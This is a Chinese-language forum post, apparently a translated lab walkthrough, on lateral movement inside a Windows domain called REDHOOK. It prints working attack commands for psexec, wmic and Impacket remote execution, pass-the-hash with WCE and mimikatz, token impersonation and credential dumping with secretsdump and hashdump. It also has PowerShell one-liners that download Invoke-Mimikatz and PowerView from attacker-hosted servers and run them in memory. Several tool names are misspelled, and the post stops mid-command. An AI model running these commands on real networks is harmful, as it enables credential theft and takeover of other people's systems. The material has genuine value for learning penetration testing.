taibeihacker
Moderator
0x00 场景
本次目標是獲取“ redhook.DA”域中帳戶的一個可用憑據。從一個控制內網主機的權限開始,但尚未與目標域控制器處於同一子網中。如下圖所示:
此外,假設攻擊者獲取了client 1主機中的本地管理員緩存認證憑據。通常,如果網絡範圍足夠大,將通過批處理,vbs,NET,ps1等腳本在網絡共享上找到相應的存儲的有效憑據。以獲得初始訪問權限。在這篇文章中,本次攻擊者為在kali主機上,重點講述在Windows上橫向移動的方法以及不包括繞過AV的情況。
0x00 攻击clicent1主机
1.批处理脚本获取如上所述。通過網絡共享上的批處理及腳本獲取了clent1(10.0.0.129)主機的用戶認證憑據:# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
@echo off
net use '\\10.0.0.129\C$' /user:bob ImSoSecur3! #建立共享
if exist '\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt' (
echo 'Sigh, more errors on Client1! Copying.'
copy '\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt' C:\Users\bob\Logs\Client1\
del '\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt'
) else (
echo 'Yaay, no new errors on Client1!'
)
net use '\\10.0.0.129\C$' /delete
通過批處理腳本快速獲取指定的IP的一些NetBIOS信息:
nbtscan -vh 10.0.0.129
or
nbtstat -A 10.0.0.129

也可以使用命令nbtstat -A IP 執行相同的操作。可獲取到主機名WIN7-ENT-CLI1,並且已連接到REDHOOK域
2.PsExec使用metasploit的PsExec,在kali上可以輕鬆獲取client 1主機的反彈shell。注意,bob是本地帳戶並不是域賬戶。因此,沒有使用SMBDomain參數。
msfuse exploit/winodws/smb/psexec
msfset rhost 10.0.0.129
msfset smbuser bob
msfset smbpass ImSoSecur3!
msfshow options
msfexploit

這裡也可以使用Impacket包中的PsExec,它使用RemComSvc模擬PsExec。這裡的好處是,如果沒有獲取到明文憑證,它可接受哈希傳遞。
python psexec.py bob:[email protected] cmd

windows下的PsExec.exe也可以橫向移動,它具有簽名可執行文件的好處。在此命令中添加“ -s”標識將獲取SYSTEM Shell。
Psexec.exe \\10.0.0.129 -u bob -p ImSoSecur3! cmd

3.WMI關於執行遠程命令工具,這裡最著名的是WMIC工具,不僅允許在遠程主機上執行命令,而且還可以利用WMI來獲取敏感信息並重新配置主機系統,該工具為windows 內置命令。
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem list brief /format:list #遠程獲取計算機信息
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem get username #遠程獲取目標用戶賬戶信息權限
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! process call crate 'calc.exe' #遠程創建進程,這裡是calc.exe
wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem process get Name,ProcessId | findstr calc #遠程獲取進程ID,名稱,並執行進程
}

4.WmiExec在Impacket包中可以使用WmiExec工具,執行命令並可以打印出命令輸出,還可以提供半交互式shell也可以通過hash傳遞。
python wmiexec.py bob:[email protected] route print -4 10.*

PowerSploitz中的Invoke-WmiCommand,由於使用了PSCredential對象,會佔用更多的內存,但可以獲取命令打印輸出和腳本的內存存儲位置。

5.Pass-The-Hash(WCE和Mimikatz)有時,當獲取目標主機命令窗口時,只能獲取到目標主機用戶的NTLM哈希值,而不能明文密碼獲取。如果在這種情況下,可以使用metasploit(psexec)或Impacket。如果環境局限於本地Windows環境,則可以使用WCE或Mimikatz將NTLM哈希注入到進程中。
whoami
net use \\10.0.0.129\ADMIN$ #無法獲取目標共享,這裡需要提供用戶名和密碼
wce.exe -s bob:aad3b435b1404eeaad3b435b51404e:f6c0fa29f4cad745ad04bed1d00a7c82 #通過wce.exe遠程hash傳遞
net use \\10.0.0.129\ADMIN$
dir \\10.0.0.129\ADMIN$

缺點是WCE會顯示錯誤報警信息!可以使用powershell 將Mimikatz直接加載到內存中!但是,在這種情況下,最好使用已編譯好的的二進製文件mimikatz.exe。
net use \\10.0.0.129\$ADMIN
miminatz.exe
mimikatz#sekurlsa

whoami
net use \\10.0.0.129\$ADMIN

請注意,在這種情況下,域都設置為“.”。這是因為bob是本地帳戶.
0x02 建立据点01
1.Metasploit(Mimikatz和hashdump)使用Mimikatz獲取活動會話的用戶憑據,並使用hashdump為當前未登錄的本地帳戶獲取哈希meterpreterload mimikatz #加載mimikatz模塊
meterprtertspkg #進行system權限提升
meterprtermsvv #獲取當前活動會話憑證
meterprterhashdump #獲取本地主機賬戶的全部hash值

2.Secretsdump和Invoke-Mimikatz也可以使用Impacket的SecretsDump和Powersploit的Invoke-Mimikatz。在這種情況下,Invoke-Mimikatz託管在攻擊者的網絡服務器上。
python secretsdump.py bob:[email protected]
python psexec.py bob:[email protected] cmd
powershell -exec bypass -command 'IEX (New-Object System.Net.Webclient).DowloadString('http://10.0.0.129/Invoke-Mimikatz.ps1');Invoke-Mimikatz'
mimiatz(powershell)#sekurlsa:logonpasswords

當然,還有其他方法可以解決此問題,但認為這些可能是主要方法。
0x03 信息收集
現在可以訪問REDHOOK域中的一台主機,該主機也連接到另一個子網。1.令牌获取現在我們有了redhook域裡的一台機器並且能連接到不同的子網中,現在開始做一個信息收集。
要查詢域的信息,需要有一個域用戶,當前的bob用戶並不是域用戶或system權限,但是我們可以通過
NtQuerySystemInformation來發現其他用戶的token,進而模擬他們登陸。
meterpreter有這個插件,使這個過程非常簡單。
meterprtergetuid
meterpterlist_tokens -u
meterprterimpersonate_token REDHOOK\\asenath.waite
meterprtershell
whomai

另外,可以使用Luke Jennings的incognito,該工具具有類似PsExec的功能,可以遠程使用它。
incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! list_tokens -u
incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! execute -c REDHOOK\asenath.waite cmd.exe

最後,還有PowerSploit的Invoke-TokenManipulation。但是,在當前狀態下,不建議您使用它,因為無法真正獲得所需的功能。
2.域信息收集現在,已獲取目標域主機的一個Shell,需要進行一些信息收集,以最大獲取戰果。
C:\Windows\System32 whoami redhook\asenath.waite
C:\Windows\System32 hostnameWIN7-Ent-CLI1
C:\Windows\System32 ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . localdomain Link-local IPv6 Address . fe80:a1ba:a1ab:170c:7916%17 IPv4 Address. . 10.0.0.129 # Attacker's subnet Subnet Mask . . 255.255.255.0 Default Gateway . .
Ethernet adapter Bluetooth Network Connection:
Media State . . Media disconnected Connection-specific DNS Suffix .
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . Link-local IPv6 Address . fe80:5ddc:1e6:17e9:9e15%11 IPv4 Address. . 10.1.1.2 # REDHOOK subnet Subnet Mask . . 255.255.255.0 Default Gateway . . 10.1.1.1
Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:
Media State . . Media disconnected Connection-specific DNS Suffix .
Tunnel adapter isatap.localdomain:
Media State . . Media disconnected Connection-specific DNS Suffix . localdomain
Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:
Media State . . Media disconnected Connection-specific DNS Suffix .
# A very small network, three hosts, including the one we have just compromised.C:\Windows\System32 net viewServer Name Remark
-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2
The command completed successfully.
# The DC the user is authenticated toC:\Windows\System32 echo %logonserver%\\REDRUM-DC
C:\Windows\System32 ping -n 1 REDRUM-DC
Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:Reply from 10.1.1.200: bytes=32 time1ms TTL=128
Ping statistics for 10.1.1.200: Packets: Sent=1, Received=1, Lost=0 (0% loss),Approximate round trip times in milli-seconds: Minimum=0ms, Maximum=0ms, Average=0ms
# List local usersC:\Windows\System32 net user
User accounts for \\WIN7-ENT-CLI1
-------------------------------------------------------------------------------Administrator bob GuestTemplateAdmin
The command completed successfully.
# List REDHOOK domain users
C:\Windows\System32 net user /domain
The request will be processed at a domain controller for domain RedHook.local.
User accounts for \\Redrum-DC.RedHook.local
-------------------------------------------------------------------------------Administrator asenath.waite Guestjohn.smith krbtgt redhook.DArobert.suydam wilbur.whateley
The command completed successfully.
# PowerSploit=Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the network.
C:\Windows\System32 powershell -exec bypass -command 'IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdm